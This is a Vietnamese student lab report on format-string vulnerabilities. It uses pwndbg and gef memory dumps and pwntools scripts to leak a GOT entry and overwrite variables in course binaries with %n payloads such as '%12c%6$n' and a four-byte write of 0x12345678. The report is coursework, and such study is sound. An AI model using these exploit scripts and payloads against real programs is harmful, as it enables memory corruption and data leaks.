

# BÁO CÁO BÀI TẬP

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Lab 4: Format String

GVHD: Nguyễn Hữu Quyền

## THÔNG TIN CHUNG:

Lớp: NT521.P12.ANTT.2

STT	Họ và tên	MSSV	Email
1	Lại Quan Thiên	22521385	22521385@gm.uit.edu.vn
2	Mai Nguyễn Nam Phương	22521164	22521164@gm.uit.edu.vn
3	Đặng Đức Tài	22521270	22521270@gm.uit.edu.vn
4	Hồ Diệp Huy	22520541	22520541@gm.uit.edu.vn

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

## BÁO CÁO CHI TIẾT

Các bước thực hiện/ Phương pháp thực hiện/Nội dung tìm hiểu (Ảnh chụp màn hình, có giải thích)

**Yêu cầu 1.** Giả sử cần chuẩn bị chuỗi định dạng cho printf(). Sinh viên tìm hiểu và hoàn thành các chuỗi định dạng cần sử dụng để thực hiện các yêu cầu bên dưới.

Yêu cầu	Chuỗi định dạng
In ra 1 số nguyên hệ thập phân	%d
In ra một số nguyên 4 byte hệ thập lục phân, trong đó luôn in ra đủ 8 số hexan.	%08x
In ra số nguyên dương, có ký hiệu + phía trước và chiếm ít nhất 5 ký tự, nếu không đủ thì thêm ký tự 0	%+05d
In tối đa chuỗi 8 ký tự, nếu dư sẽ cắt bớt	%.8s
In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm khoảng trắng ở phần nguyên	%7.3f
In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm ký tự 0 ở phần nguyên	%07.3f

**Yêu cầu 2.** Sinh viên khai thác và truyền chuỗi s để đọc giá trị biến c của main. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

*Bonus: chuỗi s không dài hơn 10 ký tự.*

- Ta thấy biến c nằm ở vị trí `%%ebp - 0x14`

```
Dump of assembler code for function main:
0x0804849b <+0>:    lea     ecx,[esp+0x4]
0x0804849f <+4>:    and     esp,0xffffffff
0x080484a2 <+7>:    push   DWORD PTR [ecx-0x4]
0x080484a5 <+10>:   push   ebp
0x080484a6 <+11>:   mov     ebp,esp
0x080484a8 <+13>:   push   ecx
0x080484a9 <+14>:   sub     esp,0x74
0x080484ac <+17>:   mov     DWORD PTR [ebp-0xc],0x1
0x080484b3 <+24>:   mov     DWORD PTR [ebp-0x10],0x22222222
0x080484ba <+31>:   mov     DWORD PTR [ebp-0x14],0xffffffff
0x080484c1 <+38>:   sub     esp,0x8
0x080484c4 <+41>:   lea     eax,[ebp-0x78]
0x080484c7 <+44>:   push   eax
0x080484c8 <+45>:   push   0x80485a0
0x080484cd <+50>:   call   0x8048380 <__isoc99_scanf@plt>
0x080484d2 <+55>:   add     esp,0x10
0x080484d5 <+58>:   sub     esp,0xc
0x080484d8 <+61>:   lea     eax,[ebp-0x78]
0x080484db <+64>:   push   eax
0x080484dc <+65>:   push   DWORD PTR [ebp-0x14]
0x080484df <+68>:   push   DWORD PTR [ebp-0x10]
0x080484e2 <+71>:   push   DWORD PTR [ebp-0xc]
0x080484e5 <+74>:   push   0x80485a3
0x080484ea <+79>:   call   0x8048350 <printf@plt>
0x080484ef <+84>:   add     esp,0x20
0x080484f2 <+87>:   sub     esp,0xc
0x080484f5 <+90>:   lea     eax,[ebp-0x78]
0x080484f8 <+93>:   push   eax
0x080484f9 <+94>:   call   0x8048350 <printf@plt>
0x080484fe <+99>:   add     esp,0x10
0x08048501 <+102>:  sub     esp,0xc
0x08048504 <+105>:  push   0xa
0x08048506 <+107>:  call   0x8048370 <putchar@plt>
0x0804850b <+112>:  add     esp,0x10
0x0804850e <+115>:  mov     eax,0x0
0x08048513 <+120>:  mov     ecx,DWORD PTR [ebp-0x4]
0x08048516 <+123>:  leave
0x08048517 <+124>:  lea     esp,[ecx-0x4]
0x0804851a <+127>:  ret
```

- Debug hàm main và xem địa chỉ cụ thể của biến c, ta được địa chỉ cụ thể là: **0xffffcfe4**

```
ff
► 0x80484c1 <main+38>    sub     esp, 8                ESP => 0xffffcf78 (0xffffcf80 - 0x8)
fcf80 - 0x8)
0x80484c4 <main+41>    lea     eax, [ebp - 0x78]      EAX => 0xffffcf80 ← 0
0x80484c7 <main+44>    push    eax
0x80484c8 <main+45>    push    0x80485a0
0x80484cd <main+50>    call    __isoc99_scanf@plt    <__isoc99_scanf@plt>

0x80484d2 <main+55>    add     esp, 0x10

[ STACK ]
00:0000 | esp 0xffffcf80 ← 0
01:0004 | -074 0xffffcf84 ← 0
02:0008 | -070 0xffffcf88 ← 1
03:000c | -06c 0xffffcf8c → 0xf7ffc7e0 (_rtld_global_ro) ← 0
04:0010 | -068 0xffffcf90 ← 0
05:0014 | -064 0xffffcf94 ← 0
06:0018 | -060 0xffffcf98 → 0xf7ffd000 ← 0x2bf24
07:001c | -05c 0xffffcf9c ← 0

[ BACKTRACE ]
► 0 0x80484c1 main+38
1 0xf7de4ed5 __libc_start_main+245
2 0x80483c1 _start+33

pwndbg> p/x $ebp-0x14
$1 = 0xffffcfe4
pwndbg>
```

- Tiếp theo, ta xem vị trí đặt các tham số của printf() thứ 2, ta thấy tham số đầu tiên là địa chỉ chuỗi định dạng là **0xffffcf70**

```
[ DISASM / i386 / set emulate on ]
0x80484ea <main+79>    call    printf@plt            <printf@plt>

0x80484ef <main+84>    add     esp, 0x20            ESP => 0xffffcf80 (0xffffcf60 + 0x20)
0x80484f2 <main+87>    sub     esp, 0xc            ESP => 0xffffcf74 (0xffffcf80 - 0xc)

0x80484f5 <main+90>    lea     eax, [ebp - 0x78]      EAX => 0xffffcf80 ← 0x6e
0x80484f8 <main+93>    push    eax
► 0x80484f9 <main+94>    call    printf@plt            <printf@plt>
    format: 0xffffcf80 ← 0x6e /* 'n' */
    vararg: 0xffffcf80 ← 0x6e /* 'n' */

0x80484fe <main+99>    add     esp, 0x10
0x8048501 <main+102>   sub     esp, 0xc
0x8048504 <main+105>   push    0xa
0x8048506 <main+107>   call    putchar@plt          <putchar@plt>

0x804850b <main+112>   add     esp, 0x10

[ STACK ]
00:0000 | esp 0xffffcf70 → 0xffffcf80 ← 0x6e /* 'n' */
01:0004 | -084 0xffffcf74 → 0xffffcf80 ← 0x6e /* 'n' */
02:0008 | -080 0xffffcf78 → 0xf7ffd990 ← 0
03:000c | -07c 0xffffcf7c ← 1
04:0010 | eax 0xffffcf80 ← 0x6e /* 'n' */
05:0014 | -074 0xffffcf84 ← 0
06:0018 | -070 0xffffcf88 ← 1
07:001c | -06c 0xffffcf8c → 0xf7ffc7e0 (_rtld_global_ro) ← 0

[ BACKTRACE ]
► 0 0x80484f9 main+94
1 0xf7de4ed5 __libc_start_main+245
2 0x80483c1 _start+33
```

Báo cáo môn học  
HỌC KỲ I – NĂM HỌC 2024-2025

**Yêu cầu 3.** Giải thích vì sao với chuỗi %s%s%s (hoặc chuỗi của sinh viên) lại gây lỗi chương trình?

- Với %s%s%s sẽ lấy 3 con trỏ stack, lần lượt ứng với từng %s để in ra các chuỗi ở các địa chỉ mà nó trỏ tới. Với %s đầu tiên, nó trỏ đến chuỗi “%s%s%s” nên hợp lệ. %s thứ 2 stack đang cố gắng lấy giá trị tại địa chỉ 0xf7fbe7b0, điều này có thể hợp lệ. %s thứ 3, nó cố gắng lấy giá trị tại vị trí 0x00000001, đây là con trỏ không hợp lệ, nên dẫn đến lỗi chương trình.
- Xác định vị trí của địa chỉ lưu trong chuỗi s so với vùng tham số của printf
- Ta thấy tham số đầu tiên được lưu ở địa chỉ 0xffffd090

```

pc: 0x23 $ss: 0x20 $us: 0x20 $es: 0x20 $fs: 0x00 $gs: 0x63
0xffffd090: 0x00000000 0xffffd0a0 → "hello" ← $esp
0xffffd094: 0x00000004 0xffffd0a0 → "hello"
0xffffd098: 0x00000008 0xf7fbe7b0 → 0x0804829f → "GLIBC_2.0"
0xffffd09c: 0x0000000c 0x00000001
0xffffd0a0: 0x00000010 "hello"
0xffffd0a4: 0x00000014 0x0000006f ("o")
0xffffd0a8: 0x00000018 0xf7ffda40 → 0x00000000
0xffffd0ac: 0x0000001c 0xf7ffda00 → 0x000036f2c
0x080484f2 <main+0057> sub esp, 0xc
code:x86:32

```

- Xem các giá trị được lưu gần địa chỉ đó

```

gef> x/20wx 0xffffd090
0xffffd090: 0xffffd0a0 0xffffd0a0 0xf7fbe7b0 0x00000001
0xffffd0a0: 0x6c6c6568 0x0000006f 0xf7ffda40 0xf7ffda00
0xffffd0b0: 0xf7fc4540 0xffffffff 0x08048034 0xf7fc66d0
0xffffd0c0: 0xf7ffd608 0x00000020 0x00000000 0xffffd284
0xffffd0d0: 0x00000000 0x00000000 0x01000000 0x00000009
gef>

```

- Giả sử địa chỉ cần đọc dữ liệu lưu nằm ở đầu chuỗi s (0x6c6c6568), thì địa chỉ này sẽ là tham số thứ 5 của printf.
- Bây giờ ta sẽ tạo chuỗi định dạng để đọc dữ liệu

```

gef> x/s * (0xffffd090 + 4)
0xffffd0a0: "hello"

```

**Yêu cầu 4.** Sinh viên khai thác và truyền chuỗi s đọc thông tin từ Global Offset Table (GOT) và lấy về địa chỉ của hàm **scanf**. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

- Thực hiện đoạn code như sau:

```
from pwn import *
sh = process('./app-leak')
leakmemory = ELF('./app-leak')
# address of scanf entry in GOT, where we need to read content
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print ("- GOT of scanf: %s" % hex(__isoc99_scanf_got))
# prepare format string to exploit
# change to your format string
fm_str = b'%p%p%p'
payload = p32(__isoc99_scanf_got) + fm_str
print ("- Your payload: %s" % payload)
# send format string
sh.sendline(payload)
sh.recvuntil(fm_str+b'\n')
# remove the first bytes of __isoc99_scanf@got
print ('- Address of scanf: %s' % hex(u32(sh.recv()[4:8])))
sh.interactive()
```



- Kết quả:

```
(kali㉿kali)-[~/Downloads/Lab4-resource]
$ python a.py

[+] Starting local process './app-leak': pid 4398
[*] '/home/kali/Downloads/Lab4-resource/app-leak'
  Arch: i386-32-little
  RELRO: Partial RELRO
  Stack: No canary found
  NX: NX enabled
  PIE: No PIE (0x8048000)
  Stripped: No
- GOT of scanf: 0x804a018
- Your payload: b'\x18\xa0\x04\x08%p%p%p'
- Address of scanf: 0x66667830
[*] Switching to interactive mode
[*] Process './app-leak' stopped with exit code 0 (pid 4398)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive

(kali㉿kali)-[~/Downloads/Lab4-resource]
$
```

- Chuỗi định dạng trong đoạn mã trên là **fm\_str = b'%p%p%p'**, đoạn mã này dùng để in ra giá trị cụ thể trong bộ nhớ khi được sử dụng trong các hàm như printf. Cụ thể

+ **%p**: In ra địa chỉ của một con trỏ (pointer) trong hệ thống dưới dạng số thập lục phân (hexadecimal)

+ **%p%p%p**: Sẽ in lần lượt ba giá trị con trỏ từ ngăn xếp (stack) khi thực thi hàm printf

=> Khi chương trình gặp chuỗi định dạng trong một hàm như printf, nó sẽ:

- + Lấy các tham số được truyền từ stack
- + Áp dụng định dạng để chuyển đổi các giá trị đó thành chuỗi
- + In chuỗi ra màn hình hoặc ghi vào một bộ đệm

- Lí do có thể in được giá trị cần thiết: hàm printf không kiểm tra chuỗi định dạng mà chỉ sử dụng trực tiếp chuỗi định dạng được truyền vào nên nếu lập trình viên không bảo vệ tốt và chuỗi định dạng có thể chứa các tham số do người dùng cung cấp, nó sẽ dẫn đến lỗi Format String Vulnerability. Với payload = p32(\_\_isoc99\_scanf\_got) + fm\_str thì ta có thể hiểu:

+ **p32(\_\_isoc99\_scanf\_got)**: Địa chỉ của mục GOT chứa hàm scanf được chèn vào đầu payload



+ **fm\_str = b'%p%p%p'**: Sẽ được printf xử lý và in giá trị tại địa chỉ của scanf

⇒ Khi payload được gửi thì chương trình sẽ đọc địa chỉ trong payload p32(\_\_isoc99\_scanf\_got)) và rồi sử dụng định dạng %p%p%p để in ra các giá trị từ stack mà không cần quyền truy cập cụ thể

**Yêu cầu 5.** Sinh viên khai thác và truyền chuỗi s để ghi đè biến c của file app-overwrite thành giá trị 16. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

- Đầu tiên ta cần xác định địa chỉ cần ghi đè

```
wanthinnn@ThinLinux:~/Documents/NT521/Lab_4/Lab4-resource$ ./app-overwrite
0xffb6f32c
hello
hello
a = 123, b = 1c8, c = 789
```

- Địa chỉ của c là 0xffb6f32c. Tiếp theo ta sẽ debug để xem địa chỉ của nó thay đổi như thế nào

```
[ DISASM / i386 / set emulate on ]
0x74) 0x8048499 <main+14> sub esp, 0x74 ESP => 0xffffcf70 (0xffffcfe4 -
0x804849c <main+17> mov dword ptr [ebp - 0xc], 0x315 [0xffffcfdc] => 0x315
0x80484a3 <main+24> sub esp, 8 ESP => 0xffffcf68 (0xffffcf70 -
0x8)
0x80484a6 <main+27> lea eax, [ebp - 0xc] EAX => 0xffffcfdc ← 0x315
0x80484a9 <main+30> push eax
▶ 0x80484aa <main+31> push 0x80485e0
0x80484af <main+36> call printf@plt <printf@plt>

0x80484b4 <main+41> add esp, 0x10
0x80484b7 <main+44> sub esp, 8
0x80484ba <main+47> lea eax, [ebp - 0x70]
0x80484bd <main+50> push eax

[ STACK ]
00:0000 esp 0xffffcf64 → 0xffffcfdc ← 0x315
01:0004 -080 0xffffcf68 → 0xf7ffd990 ← 0
02:0008 -07c 0xffffcf6c ← 1
03:000c -078 0xffffcf70 ← 0
04:0010 -074 0xffffcf74 ← 0
05:0014 -070 0xffffcf78 ← 1
06:0018 -06c 0xffffcf7c → 0xf7fc7e0 (_rtld_global_ro) ← 0
07:001c -068 0xffffcf80 ← 0

[ BACKTRACE ]
▶ 0 0x80484aa main+31
1 0xf7de4ed5 __libc_start_main+245
2 0x80483b1 _start+33

pwndbg> p/x $ebp - 0xc
$1 = 0xffffcfdc
```

- Địa chỉ của biến c thay khác là 0xffffcfdc

- Tiếp đó, cần xác định thứ tự tham số của printf

- Debug chương trình, quan sát các tham số dành cho scanf, ta xác định được chuỗi s sẽ được lưu ở địa chỉ **0xffffcf78**

```

0x80484b4 <main+41> add esp, 0x10 ESP => 0xffffcf70 (0xffffcf60 + 0x10)
0x80484b7 <main+44> sub esp, 8 ESP => 0xffffcf68 (0xffffcf70 - 0x8)
0x80484ba <main+47> lea eax, [ebp - 0x70] EAX => 0xffffcf78 ← 1
0x80484bd <main+50> push eax
0x80484be <main+51> push 0x80485e4
▶ 0x80484c3 <main+56> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x80485e4 ← 0xa007325 /* '%s' */
vararg: 0xffffcf78 ← 1

0x80484c8 <main+61> add esp, 0x10
0x80484cb <main+64> sub esp, 0xc
0x80484ce <main+67> lea eax, [ebp - 0x70]
0x80484d1 <main+70> push eax
0x80484d2 <main+71> call printf@plt <printf@plt>

[ STACK ]
00:0000 esp 0xffffcf60 → 0x80485e4 ← and eax, 0x590a0073 /* '%s' */
01:0004 -084 0xffffcf64 → 0xffffcf78 ← 1
02:0008 -080 0xffffcf68 → 0xf7ffd990 ← 0
03:000c -07c 0xffffcf6c ← 1
04:0010 -078 0xffffcf70 ← 0
05:0014 -074 0xffffcf74 ← 0
06:0018 eax 0xffffcf78 ← 1
07:001c -06c 0xffffcf7c → 0xf7ffc7e0 (_rtld_global_ro) ← 0

[ BACKTRACE ]
▶ 0 0x80484c3 main+56
1 0xf7de4ed5 __libc_start_main+245
2 0x80483b1 _start+33

```

Tiếp tục debug đến lệnh gọi hàm printf() thứ 2, ta thấy được tham số của nó bắt đầu từ vị trí **0xffffcf60**.

```

0x80484c3 <main+56> call __isoc99_scanf@plt <__isoc99_scanf@plt>

0x80484c8 <main+61> add esp, 0x10 ESP => 0xffffcf70 (0xffffcf60 + 0x10)
0x80484cb <main+64> sub esp, 0xc ESP => 0xffffcf64 (0xffffcf70 - 0xc)
0x80484ce <main+67> lea eax, [ebp - 0x70] EAX => 0xffffcf78 ← 0x636e6978 ('xinc')
0x80484d1 <main+70> push eax
▶ 0x80484d2 <main+71> call printf@plt <printf@plt>
format: 0xffffcf78 ← 'xinchao'
vararg: 0xffffcf78 ← 'xinchao'

0x80484d7 <main+76> add esp, 0x10
0x80484da <main+79> mov eax, dword ptr [ebp - 0xc]
0x80484dd <main+82> cmp eax, 0x10
0x80484e0 <main+85> jne main+105 <main+105>

0x80484e2 <main+87> sub esp, 0xc

[ STACK ]
00:0000 esp 0xffffcf60 → 0xffffcf78 ← 'xinchao'
01:0004 -084 0xffffcf64 → 0xffffcf78 ← 'xinchao'
02:0008 -080 0xffffcf68 → 0xf7ffd990 ← 0
03:000c -07c 0xffffcf6c ← 1
04:0010 -078 0xffffcf70 ← 0
05:0014 -074 0xffffcf74 ← 0
06:0018 eax 0xffffcf78 ← 'xinchao'
07:001c -06c 0xffffcf7c ← 0x6f6168 /* 'hao' */

[ BACKTRACE ]
▶ 0 0x80484d2 main+71
1 0xf7de4ed5 __libc_start_main+245
2 0x80483b1 _start+33

```

- Vậy vị trí lưu chuỗi s sẽ tương ứng với tham số thứ 6 của printf

- Để ghi giá trị 16 vào địa chỉ của biến c bằng cách sử dụng %n, chúng ta cần đảm bảo rằng số ký tự đã được in ra trước %n là 16. Mà [addr of c] chiếm 4 byte (4 ký tự) nên **additional format** cần in thêm **12 ký tự** để tổng cộng đạt 16 ký tự. Vậy chuỗi format phù hợp là %12c
- Tạo 1 file python để khai thác

```
1 from pwn import *
2 def forc():
3     sh = process('./app-overwrite')
4     # get address of c from the first output
5     c_addr = int(sh.recvuntil('\n', drop=True), 16)
6     print ('- Address of c: %s' % hex(c_addr))
7     # additional format - change to your format to create 12 characters
8     additional_format = b'%12c'
9     # overwrite offset - change to your format
10    overwrite_offset = b'%6$n'
11    payload = p32(c_addr) + additional_format + overwrite_offset
12    print ('- Your payload: %s' % payload)
13    sh.sendline(payload)
14    sh.interactive()
15 forc()
16
```

- Khai thác thành công:

```
wanthin@ThinLinux:~/Documents/NT521/Lab_4/Lab4-resource$ python3 main.py
[+] Starting local process './app-overwrite': pid 5765
main.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  c_addr = int(sh.recvuntil('\n', drop=True), 16)
- Address of c: 0xff9bb7bc
- Your payload: b'\xbc\b7\b9b\xff%12c%6$n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 5765)
\xbc\b7\b9b\xff      X
You modified c.

a = 123, b = 1c8, c = 16
[*] Got EOF while reading in interactive
$
```

**Yêu cầu 6.** Sinh viên khai thác và truyền chuỗi s để ghi đè biến **a** của file **app-overwrite** thành giá trị 2. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

- Xem địa chỉ biến a:

```

pwndbg> info variable a
All variables matching regular expression "a":

Non-debugging symbols:
0x08049f08 __frame_dummy_init_array_entry
0x08049f08 __init_array_start
0x08049f0c __do_global_ctors_aux_fini_array_entry
0x08049f0c __init_array_end
0x0804a01c __data_start
0x0804a01c data_start
0x0804a020 dso handle
0x0804a024 a
0x0804a02c __bss_start
0x0804a02c _edata
pwndbg>

```

- Ta có chuỗi định danh như sau: *aa%8\$naa[addr a]*

- Trong đó:

+ **[addr a]** là địa chỉ của biến a: 0x0804a024 chiếm 4 byte

+ “aa” đầu là giá trị 2 sẽ ghi đè vào biến a, chiếm 2 byte

Vậy đã có 6 byte, cần thêm 2 byte nữa để thành 8 byte là địa chỉ chia hết cho 4 nên thêm 2 byte “aa” sau.

k = 8 vì bài trước k = 6, tuy nhiên ở trường hợp này ta chèn thêm 8 byte nên k phải tăng lên 2 byte để ứng với 2 byte tham số

- Viết file python để khai thác:

```

dducktai@ubuntu:~/LTAT/Lab4-resource$ cat yc6.py
from pwn import *
def fora():
    sh = process('./app-overwrite')
    a_addr = 0x0804a024 # address of a
    # format string - change to your answer
    payload = b'aa%8$naa' + p32(a_addr)
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()
fora()
dducktai@ubuntu:~/LTAT/Lab4-resource$

```

- Kết quả:

```
dducktai@ubuntu:~/LTAT/Lab4-resource$ python3 yc6.py
[+] Starting local process './app-overwrite': pid 24158
b'0xffffd15c\n'
[*] Switching to interactive mode
aaaa$\xa0\x04\x08
You modified a for a small number.

a = 2, b = 1c8, c = 789
[*] Process './app-overwrite' stopped with exit code 0 (pid 24158)
[*] Got EOF while reading in interactive
$
```

**Yêu cầu 7.** Sinh viên khai thác và truyền chuỗi s để ghi đè biến **b** của file **app-overwrite** thành giá trị **0x12345678**. Báo cáo chi tiết các bước phân tích, xác định chuỗi định dạng và kết quả khai thác.

- Ta thực hiện tìm địa chỉ của b, ở đây có giá trị là 0x0804a028

```
pwndbg> info variables b
All variables matching regular expression "b":

Non-debugging symbols:
0x08049f0c __do_global_ctors_aux_fini_array_entry
0x0804a028 b
0x0804a02c __bss_start
```

- Vì giá trị cần ghi đè khá lớn nên thao tác ghi đè không chỉ lên địa chỉ của biến b mà còn cả các vùng nhớ liền kề. Do hệ thống sử dụng cách lưu trữ theo chuẩn little-endian, nếu b\_addr là địa chỉ của b, thì các vùng nhớ liền kề sẽ lần lượt là b\_addr + 1, b\_addr + 2, và b\_addr + 3. Giá trị tương ứng tại các địa chỉ này sẽ là 0x78, 0x56, 0x34, và 0x12.

- Bước đầu tiên là ghi đè lên địa chỉ của b với giá trị 0x78, tương đương 120 ở hệ thập phân. Tính toán giá trị cần điều chỉnh: với k = 6 (điều chỉnh offset), do 4 byte đầu là địa chỉ nên offset được giảm xuống còn 116

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b
    # format string - change to your answer
    payload = p32(b_addr)
    payload += b"%116x%6$n"
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()
forb()
```

- Kết quả:



```
(kali㉿kali)-[~/Downloads/Lab4-resource]
$ python a.py
[+] Starting local process './app-overwrite': pid 3964
b'0xffffcd58\n'
[*] Switching to interactive mode
(\xa0\x04\x08                                     fffffcd58

a = 123, b = 78, c = 789
[*] Process './app-overwrite' stopped with exit code 0 (pid 3964)
[*] Got EOF while reading in interactive
$ █
```

- Tiếp theo, ta sẽ ghi đè lên địa chỉ `b_addr+1`, nhưng không biết offset là bao nhiêu nên thử với offset là 11 và giảm offset đầu đi 4 byte vì ta thêm 4 byte mới. `b_addr + 1` cách địa chỉ đầu 4 byte nên thăng k lên 1 là 7

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1)
    payload += b"%112x%6$n" + b"%11x%7$n"
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()
forb()
```

- Kết quả:

```
(kali㉿kali)-[~/Downloads/Lab4-resource]
$ python a.py
[+] Starting local process './app-overwrite': pid 4254
b'0xffffcd58\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 4254)
(\xa0\x04\x08)\xa0\x04\x08                                     fffffcd58      804820c

a = 123, b = 8378, c = 789
[*] Got EOF while reading in interactive
$ █
```

- Ta thấy giá trị mới thêm vào là 0x80, ta thấy  $0x83 - 0x78 = 0x11$ . Vậy nên bây giờ nếu ta muốn chèn thêm 0x56 thì không được vì offset không thể âm, nên ta chuyển thành 0x156, suy ra offset sẽ là  $0x156 - 0x78 = 0xDE \rightarrow 222$

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1)
    payload += b"%112x%6$n" + b"%222x%7$n"
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()
forb()
```

- Kết quả:

```
(kali㉿kali)-[~/Downloads/Lab4-resource]
$ python a.py
[+] Starting local process './app-overwrite': pid 4427
b'0xffffcd58\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 4427)
(\xa0\x04\x08)\xa0\x04\x08
                                     fffffcd58
                                     804820c
a = 123, b = 15678, c = 789
[*] Got EOF while reading in interactive
$ █
```

- Vậy tương tự khi muốn chèn 0x34 tiếp theo thì không thể offset âm nên chuyển thành 0x134, so với 0x56 cũng là 0xDE  $\rightarrow 222$  và 0x123 so với 0x45 cũng là 222. Vậy ta thêm 8 byte địa chỉ mới, tăng k lên 1 tuần tự và giảm offset ban đầu xuống 8 byte

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1) + p32(b_addr + 2) + p32(b_addr + 3)
    payload += b"%104x%6$n" + b"%222x%7$n" + b"%222x%8$n" + b"%222x%9$n"
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()
forb()
```

- Kết quả:

```
(kali㉿kali)-[~/Downloads/Lab4-resource]
$ python a.py
[+] Starting local process './app-overwrite': pid 4567
b'0xffffcd58\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 4567)
(\xa0\x04\x08)\xa0\x04\x08*\xa0\x04\x08+\xa0\x04\x08
                                                                    fffffcd58
                                                                    804820c
                                                                    fffffcdac
                                                                    f7ffdb8c
You modified b for a big number!
a = 123, b = 12345678, c = 789
[*] Got EOF while reading in interactive
```

--HẾT--